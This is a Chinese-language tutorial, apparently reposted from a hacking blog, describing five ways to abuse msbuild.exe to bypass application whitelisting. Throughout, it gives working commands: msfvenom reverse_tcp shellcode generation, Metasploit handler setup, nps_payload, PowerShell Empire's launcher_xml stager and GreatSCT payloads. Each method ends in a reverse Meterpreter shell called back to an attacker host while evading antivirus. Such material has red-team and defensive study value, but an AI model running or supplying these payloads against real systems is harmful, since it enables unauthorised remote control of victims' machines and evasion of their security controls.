使用msbuild.exe繞過應用程序白名單(多種方法)


 

一、MSbuild.exe簡介

Microsoft Build Engine是一個用於構建應用程序的平台。此引擎也被稱為msbuild,它為項目文件提供一個XML模式,該模式控制構建平台如何處理和構建軟件。Visual Studio使用MSBuild,但它不依賴於Visual Studio。通過在項目或解決方案文件中調用msbuild.exe,可以在未安裝Visual Studio的環境中編譯和生成程序。

Visual Studio使用MSBuild加載和生成托管項目。Visual Studio中的項目文件(.csproj,  .vbproj,  .vcxproj和其他)包含MSBuild XML代碼。

二、攻擊方法

1.第一種方法:使用Msfvenom生成CSharp文件

我們使用Microsoft Visual Studio創建帶有*.csproj后綴的C#(C Sharp)編程項目,該后綴以msbuild格式保存,以便使用msbuild平台將其編譯為可執行程序。

在惡意程序的生成並執行下,我們可以獲得受害者主機的反向shell。因此,現在我們將生成file.csproj文件,為此,首先通過msfvenom生成c#的shellcode。然后,shellcode將被放入到我們的file.csproj中,如下所示

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f csharp

上面生成的shellcode應該放在XML文件中,你可以從GitHub下載這個XML文件它有被MSBuild編譯和執行的代碼。此XML文件應保存為file.csproj,並且必須通過MSBuild運行才能獲得Meterpreter會話。

注意:從C#shellcode中替換shellcode值,然后將buf重命名shellcode,如下圖所示:

可以從Visual Studio或命令窗口運行msbuild。通過使用Visual Studio,您可以在.NET框架的任意一個版本上運行編譯一個應用程序。

例如,您可以在32位平台上的.NET Framework 2.0上運行編譯應用程序,並且您可以在64位平台上的.NET Framework 4.5上運行編譯相同的應用程序。編譯到多個框架的任務被稱為多目標。

要了解有關msbuild的更多信息,請閱讀此文章鏈接:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2015

現在啟動多處理程序以獲取meterpreter會話,並使用msbuild.exe在目標路徑C:\windows\microsoft.net\framework\v4.0.30319執行file.csproj文件,如圖所示:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe  file.csproj

注意:您需要在此位置保存惡意exploit(XML/csproj)

C:\windows\microsoft.net\framework\v4.0.30319\,然后使用命令提示符執行此文件

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

如您所見,我們將擁有受害者的meterpreter session ,如下所示:

2.第二種方法:生成XML文件以利用MSBuild

如上所述,msbuild使用基於XML的項目文件格式,該格式簡單且可擴展,因此我們可以將生成的file.csproj重命名為file.xml,然后在目標路徑上使用msbuild.exe再次運行file.xml:c:\windows\microsoft.net\framework\v4.0.30319,如圖所示。

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe file.xml

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

如您所見,我們將擁有受害者的meterpreter session ,如下所示

3.第三種方法:Nps_Payload腳本

此腳本將為基本的入侵檢測的逃逸生成payload它利用了來自幾個不同來源的公開技術由Larry Spohn(@spoonman1091)編寫,Payload由Ben Mauch(@ben0xa)編寫,又名Dirty_Ben。你可以從github下載它

Nps_payload將生成可以使用msbuild.exe和mshta.exe執行的payload,以通過meterpreter會話獲取受害者主機的反向連接。

按照以下步驟生成payload:

  1. 從GitHub下載nps exploit后,運行./nps_payload.py腳本
  2. 輸入1,然后選擇選項“generate msbuild/nps/msfF”
  3. 再次輸入1並選擇payload選項“windows / meterpreter / reverse_tcp”

這將在XML文件中生成payload,在目標位置C:\windows\microsoft.net\framework\v4.0.30319中發送此文件,與前面的方法相同,並在新終端中同時運行下面的命令以啟動偵聽器

msfconsole -r msbuild_nps.rc

現在重復上面的步驟,使用命令提示符執行msbuild_nps.xml,並通過meterpreter獲取反向連接,如下所示:

  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe  msbuild_nps.xml

4.第四種方法:PowerShell Empire

對於我們的下一個msbuild攻擊方法,我們將使用empire。empire是一款后開發框架。到目前為止,我們已經將我們的XML工具與Metasploit匹配,但在這種方法中,我們將使用empire框架。它只是基於python的PowerShell windows代理,這使得它非常有用Empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier開發您可以從https://github.com/EmpireProject/Empire下載此框架

要獲得empire的基本指南,請訪問我們的文章:

https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/

啟動Empire框架后,輸入listener以檢查是否有任何活動的偵聽器。如下圖所示,沒有活動的偵聽器。所以要設置一個偵聽器類型

listeners
uselistner http
set Host http://192.168.1.107
execute

使用上述命令,您將擁有一個活動的偵聽器。輸入back以退出偵聽器,以便啟動PowerShell。

對於我們的msbuild攻擊,我們將使用stager。empire中的stager是一段代碼段,它允許我們的惡意代碼通過被感染主機上的代理運行。因此,對於這種類型,請輸入以下命令:

usestager windows/launcher_xml
set Listener http
execute

usestager將創建一個惡意代碼文件,該文件將保存在名為launcher.xml的/tmp中。

一旦文件運行,我們將在偵聽器上獲得結果。通過鍵入以下命令運行受害者的文件:

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe launcher.xml

要查看是否有會話,請打開輸入命令“agents”。這樣做將向您顯示您擁有的會話的名稱。要訪問該會話請輸入以下命令:

interact A8H14C7L

上面的命令將允許您訪問會話

sysinfo

5.第五種方法:GreatSCT

GreatSCT是一款允許您使用Metasploit exploit 並允許它繞過大多數反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。您可以從這里下載:https//github.com/GreatSCT/GreatSCT

下載並執行后,輸入以下命令以訪問模塊:

use Bypass

現在查看payload列表類型:

list

現在,從payload列表中,您可以選擇任何目標進行所需的攻擊。但對於這次攻擊,我們將使用:

use msbuild/meterpreter/rev_tcp.py

執行命令后,輸入以下命令:

set lhost 192.168.1.107
generate

在生成payload時,它將要求您為payload提供一個名稱。默認情況下,它將以“payload”作為名稱。我們將msbuild作為exploit名稱,輸出代碼將保存在XML中。

現在,創建了兩個文件。一個Metasploit RC文件和另外一個msbuild.xml文件。

首先,在/usr/share/greatsct output/source中通過輸入以下命令啟動python的服務器:

python -m SimpleHTTPServer 80

通過輸入以下命令運行受害者的文件:

cd C:\Windows\Microsoft.NET\Framework\v4.0.30319\
MSBuild.exe msbuild.xml

同時,使用資源文件啟動multi/handler。為此,輸入以下命令:

 
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

我們擁有一個meterpreter會話,如圖所示:

參考文章:https://docs.microsoft.com/en-us/visualstudio/msbuild/msbuild?view=vs-2017

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM